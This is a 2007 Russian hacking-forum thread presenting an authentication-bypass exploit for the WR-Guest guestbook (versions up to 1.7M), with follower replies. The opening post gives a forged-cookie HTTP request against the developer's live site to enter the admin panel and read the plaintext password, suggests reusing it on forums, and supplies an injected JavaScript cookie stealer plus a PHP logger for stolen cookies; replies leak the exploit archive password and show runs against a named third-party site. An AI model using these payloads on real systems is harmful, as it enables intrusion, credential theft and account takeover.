Авторские статьи Описание уязвимости гостевой WR-Guest<=1.7M

Discussion in 'Статьи' started by Stefun, 13 Feb 2007.

  1. Stefun

    Stefun Elder - Старейшина

    Joined:
    19 Nov 2006
    Messages:
    48
    Likes Received:
    29
    Reputations:
    11
    #WR-Guest <=1.7M
    ------------------------
    В первую очередь описание данной уязвимости будет полезно для начинающих, оно не будет интересно продвинутым челам и не является предлогом к действиям запрещенными законами РФ.
    Скрипт был написан 07.01. В каком состоянии был автор я незнаю, но точно не в трезвом.))

    #Основы
    ------------
    Итак, Cookie — это именованная порция (довольно небольшая) информации, которая может сохраняться прямо в настройках браузера пользователя между сеансами. Причина, по которой применяются Cookies — большое количество посетителей вашего сервера, а также нежелание иметь нечто подобное базе данных для хранения информации о каждом посетителе. Поиск в такой базе может очень и очень затянуться (например, при цифре миллион гостей в день он будет отнимать львиную долю времени), и, в то же время, нет никакого смысла централизованно хранить столь отрывочные сведения. Использование Cookies фактически перекладывает задачу на плечи браузера, решая одним махом как проблему быстродействия, так и проблему большого объема базы данных с информацией о пользователе. Самый распространенный пример применения Cookies — логин и пароль пользователя, использующего некоторые защищенные ресурсы вашего сайта. Эти данные, конечно же, между открытиями страниц хранятся в Cookies, для того чтобы пользователю не пришлось их каждый раз набирать вручную заново.
    Котеров Д. В.
    Самоучитель PHP 4


    #Поехали
    -------------
    Сама уязвимость данной гостевой книги и заключается в неправильной проверке куки, а точнее в отсутствии ее вообще. Вот участок бажного кода файла admin.php:
    Code:
    if (!isset($_COOKIE['gbcookies']))  { // проверка на куки
    
    if (!isset($_POST['name']) & !isset($_POST['pass'])) {
    /*вывод формы ввода пароля*/;
    exit;}
    ...
    // Сверяем введённое имя/пароль с заданным в конфиг файле
    if ($name==$adminname & $pass==$adminpass)  {
    $tektime=time();
    $gbcookies="$adminname|$adminpass|$tektime|";
    setcookie("gbcookies", $gbcookies, time()+300);
    Header("Location: admin.php"); exit;}
    print "$back Ваш данные <B>НЕ верены</B>!</center>"; exit;
    }  
    
    // Авторизация пройдена успешно 
    else {$gbc=$_COOKIE['gbcookies']; $gbc=explode("|", $gbc); $gbname=$gbc[0];$gbpass=$gbc[1];$gbtime=$gbc[2];}
    в этом участке проверяется установлены ли куки, если их нет то скрипт выводит форму ввода пароля,а если они есть, то нас пустят в админку, при этом в скрипте не сравнивается значение пароля в кукисах с паролем в конфиге. Т.е. достаточно отправить скрипту куки gbcookies с любым значением и мы в админке!

    #Exploit
    -------------
    Первым делом на ум приходит прителнетиться к хосту и запросить страницу, не забыв отправить куки.
    telnet wr-script.ru 80
    ... ждем коннект...
    GET /guest/admin.php HTTP/1.1
    Host: wr-script.ru
    Cookie: gbcookies=1|admin|12345678|
    Enter
    Enter
    Получаем страницу админки, где можно увидеть пароль админа(admin.php?pswrd=admin). Спрашивается зачем передавать пароль через GET переменную, если есть куки, да еще в открытом виде?! В итоге мы имеем 300 уязвимых гостевых (по запросу в рамблере), если учесть, что некоторые админы ставят одинаковые пароли на разные скрипты, то еще и форумы получим. Или есть пароль на гостевуху adminguest, то методом дедукции разгадаем пароль к форуму(adminforum). Для более наглых можно впихнуть в текст приветствия гостевухи javascript, который будет отправлять куки на ваш снифер:
    Code:
    <script>var d=new Image;d.src='http://site/s.php?a='+document.cookie;</script>
    Мини снифер:
    Code:
    <?php  
    if(isset($_GET['a']) && !empty($_GET['a'])){
    $f=fopen("log.txt","a");
    fputs($f,$_GET['a']."\n");
    fclose($f);
    }
    ?>
    Для удобной эксплуатации я накатал сплойт для этой гостевухи, который показывает пароль админа. Сплойт можно скачать отсюда ckyhc.t35.com/wr-guest.rar . В архиве лежит сходник(Linux+Windows) и бинарник для винды.
    [​IMG]
    [​IMG]
    #Ссылки
    ------------
    wr-script.ru - разработчик WR-Guest, можно поглумиться на форуме
    ckyhc.t35.com/wr-guest.rar - на архив стоит пароль, кому нужен пароль стучите к REDSaratov'у в аську 353676415 или пишите мне на gasoid[+]gmail.com

    Статью подготовили и испытали уязвимость Stefun и REDSaratov.
     
    #1 Stefun, 13 Feb 2007
    Last edited: 19 Mar 2007
    9 people like this.
  2. zl0y

    zl0y Banned

    Joined:
    13 Sep 2006
    Messages:
    371
    Likes Received:
    270
    Reputations:
    109
    Выложите пасс плиз =))
     
  3. GOOFY

    GOOFY Banned

    Joined:
    31 Oct 2006
    Messages:
    77
    Likes Received:
    33
    Reputations:
    23
    дубликат сабжа?
     
  4. GOOFY

    GOOFY Banned

    Joined:
    31 Oct 2006
    Messages:
    77
    Likes Received:
    33
    Reputations:
    23
    zl0y,
    пасс хэкнут :) - piskarik123$%
     
    1 person likes this.
  5. Morph

    Morph Пирожок с Маком

    Joined:
    13 Aug 2004
    Messages:
    790
    Likes Received:
    113
    Reputations:
    169
    Бляяяя, пиздец полный...
    У нас в квесте эта геста была ее поломать надо было, все каюк блять терь новый двиг искать и баги в нем....

    ЗыЗы кстате где то выкладывал я эту батву....
     
  6. ~!DoK_tOR!~

    ~!DoK_tOR!~ Banned

    Joined:
    10 Nov 2006
    Messages:
    673
    Likes Received:
    357
    Reputations:
    44
    а пасс брутом брать что ли...
     
  7. Stefun

    Stefun Elder - Старейшина

    Joined:
    19 Nov 2006
    Messages:
    48
    Likes Received:
    29
    Reputations:
    11
    пишите на почту gasoid[+]gmail.com, кому пасс нужен.
     
  8. ~GroM~

    ~GroM~ New Member

    Joined:
    13 Jan 2007
    Messages:
    27
    Likes Received:
    3
    Reputations:
    2
    а можно узнать чем он там кодируется? я имею ввиду пас в этом движке
     
  9. Stefun

    Stefun Elder - Старейшина

    Joined:
    19 Nov 2006
    Messages:
    48
    Likes Received:
    29
    Reputations:
    11
    Ничем, голый текст
     
  10. ~GroM~

    ~GroM~ New Member

    Joined:
    13 Jan 2007
    Messages:
    27
    Likes Received:
    3
    Reputations:
    2
    вот запускаю прогу она мне показывает следующее
    запуск с ошибочными параметрами

    C:\>wr-guest.exe www.korolkov.net/g1b/index.php

    *** Target: WR-Guest <=1.7M ***

    * Site [www.korolkov.net]
    * Path [/g1b/]
    * Connect [OK]
    * Send cookies [OK]


    запуск с правильными параметрами


    C:\>wr-guest.exe www.korolkov.net/gb/index.php

    *** Target: WR-Guest <=1.7M ***

    * Site [www.korolkov.net]
    * Path [/gb/]
    * Connect [OK]
    * Send cookies [OK]


    почему нет ни какого различия ? ведь директория неправильная а все равно показывает ОК
     
  11. Iceangel_

    Iceangel_ Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    494
    Likes Received:
    532
    Reputations:
    158
    там без проги и так все элементарно....
     
  12. ~GroM~

    ~GroM~ New Member

    Joined:
    13 Jan 2007
    Messages:
    27
    Likes Received:
    3
    Reputations:
    2
    возможно не всем!!
     
  13. Stefun

    Stefun Elder - Старейшина

    Joined:
    19 Nov 2006
    Messages:
    48
    Likes Received:
    29
    Reputations:
    11
    За тебя прога не будет искать правильный путь к гостевой ))